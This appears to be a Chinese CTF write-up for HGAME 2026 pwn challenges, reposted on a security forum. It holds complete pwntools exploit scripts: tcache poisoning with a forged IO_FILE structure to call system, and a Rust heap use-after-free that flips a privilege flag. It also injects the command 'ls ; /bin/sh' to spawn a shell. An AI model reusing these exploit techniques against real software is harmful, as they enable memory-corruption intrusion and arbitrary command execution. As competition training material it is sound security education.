for i in range(0x10):
    add(i, 0x58, b"AAAA")
for i in range(7):
    dele(i)
dele(7)
dele(8)
dele(7)
 
show(0)
key = u64(ru(b"\x05")[-5:].ljust(8,b'\x00'))
heap_base = key << 12
 
for i in range(7):
    add(i, 0x58, b"AAAA")
add(7, 0x58, p64((heap_base+0x2d0) ^ key))
add(8, 0x58, b"AAAAAAAA")
add(9, 0x58, b"AAAAAAAA")
add(10, 0x58, b"B"*0x20+p64(0)+p64(0x541))
dele(5)
show(5)
libc_base = x64()-0x210b20
_IO_list_all = libc_base + libc.sym["_IO_list_all"]
_IO_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]
system = libc_base + libc.sym["system"]
 
IO_FILE_plus_struct
add(0, 0x58, flat({0x0:0x3b68732020,               # flags
                   0x28:1,                         # _IO_write_ptr
                   0x20:0                          # _IO_write_base
                   }, filler = b"\x00"))
add(1, 0x58, flat({0x40:heap_base+0x410,           # _wide_data
                   0x28:heap_base                  # _lock
                   }, filler = b"\x00"))
add(2, 0x58, flat({0x0:0,                          # _mode
                   0x18:_IO_wfile_jumps            # vtable
                   }, filler = b"\x00"))
 
 
add(3, 0x58, flat({0x18:0,
                   0x30:0,
                   }, filler = b"\x00"))
add(4, 0x58, flat({0:0
                   }, filler = b"\x00"))
add(5, 0x58, flat({0x10:heap_base+0x540-0x68       # backdoor
                   }, filler = b"\x00"))
 
add(6, 0x58, p64(system))
for i in range(8):
    add(i, 0x58, b"AAAA")
 
dele(12)
dele(13)
edit(13, p64(_IO_list_all ^ key))
add(13, 0x58, b"AAAA")
add(14, 0x58, p64(heap_base+0x300))
 
cmd(b"5")
 
leak("key", key)
leak("heap_base", heap_base)
leak("libc_base", libc_base)
 
ia()

gosick

image-20260215180137076

用rust写的堆题,IDA打开太难看了,将其送入AI分析( •́ .̫ •̀ )

image-20260215180748997

image-20260215180754217

按照AI给的提示进行尝试

1
2
3
4
5
add(0, b"AAAAAAAA")
add(1, b"BBBBBBBB")
add(2, b"CCCCCCCC")
for i in range(6):
    show(0)

经过如上指令之后,堆块1和堆块2被释放,但是依然能被show和edit,可以看到实现了UAF,AI给的提示有些差异,但是仍然立大功( •́ .̫ •̀ ),可以通过这个方式拿到堆块基地址同时挟持fd

image-20260215181032294

我们看一下login函数和gift函数,当经过login函数后,程序会创建数个堆块,当进入gift函数时会对堆块中的一个值进行判断,当这个值为0时可以输入指令执行,类似于这一位来判断是user还是root,user权限不能执行,root权限可以执行

image-20260215181516408

因此我们只需要通过挟持fd来控制cmp qword ptr [rax + 8], 0判断的八字节为0,从而就可以实现指令的执行

image-20260215181929599

可执行的指令为ls date whoami但是拼接指令仍可以执行,如ls ; /bin/sh就可以拿到shell

因此攻击整个流程如下:

  1. 通过show来构造UAF
  2. 登录
  3. 篡改堆块中的权限标志位
  4. 触发gift函数,输入指令ls ; /bin/sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
 
from pwncli import *
from LibcSearcher import *
from ctypes import *
 
# use script mode
cli_script()
 
# get use for obj from gift
io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']
 
def cmd(i, prompt=b"6.Exit"):
    sla(prompt, i)
def add(idx, co):
    cmd(b"1")
    sla(b"Index", str(idx).encode())
    sla(b"Content", co)
    # ......
def edit(idx, size, co):
    cmd(b"2")
    sla(b"Index", str(idx).encode())
    sla(b"Size", str(size).encode())
    sla(b"Content", co)
    # ......
def show(idx):
    cmd(b"3")
    sla(b"Index", str(idx).encode())
    # ......
def dele(idx):
    cmd(b"2")
    # ......
 
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
 
ru(b"Tell me your name")
sl(b"nzy")
 
add(0, b"AAAAAAAA")
add(1, b"BBBBBBBB")
add(2, b"CCCCCCCC")
for i in range(6):
    show(0)
show(1)
ru(b"Content: ")
addr1 = u64(r(5).ljust(8,b'\x00'))
show(2)
ru(b"Content: ")
temp = b""
while True:
    t = r(1)
    temp += t
    if t in [b"\x55", b"\x56"]:
        break
addr2 = u64(temp[-6:].ljust(8, b"\x00"))
heap_base = (addr1-2)<<12
 
cmd(b"5")
sla(b"Name:", b"nzy")
 
edit(2, 0x10, p64((heap_base+0x3370) ^ (addr1+1)))
 
add(3, b"BBBBBBBB")
add(4, b"BBBBBBBB")
add(5, b"BBBBBBBB"+p64(0))
 
cmd(b"4")
ru(b">")
sl("ls ; /bin/sh")
 
leak("addr1", addr1)
leak("addr2", addr2)
leak("heap_base", heap_base)
 
ia()

本文标题:2026 HGAME PWN writeup

文章作者:sysNow

发布时间:2026-02-27

原始链接:318K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6P5i4y4F1L8%4N6Q4x3X3g2^5P5i4A6Q4x3V1k6T1L8r3!0Y4i4K6u0r3x3U0l9J5y4W2)9#2k6X3S2Y4j5h3#2W2


传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回